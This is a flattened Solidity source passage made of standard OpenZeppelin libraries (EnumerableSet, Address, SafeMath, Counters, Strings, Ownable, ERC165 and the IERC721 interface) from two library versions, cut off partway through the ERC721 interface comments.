// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
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|
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
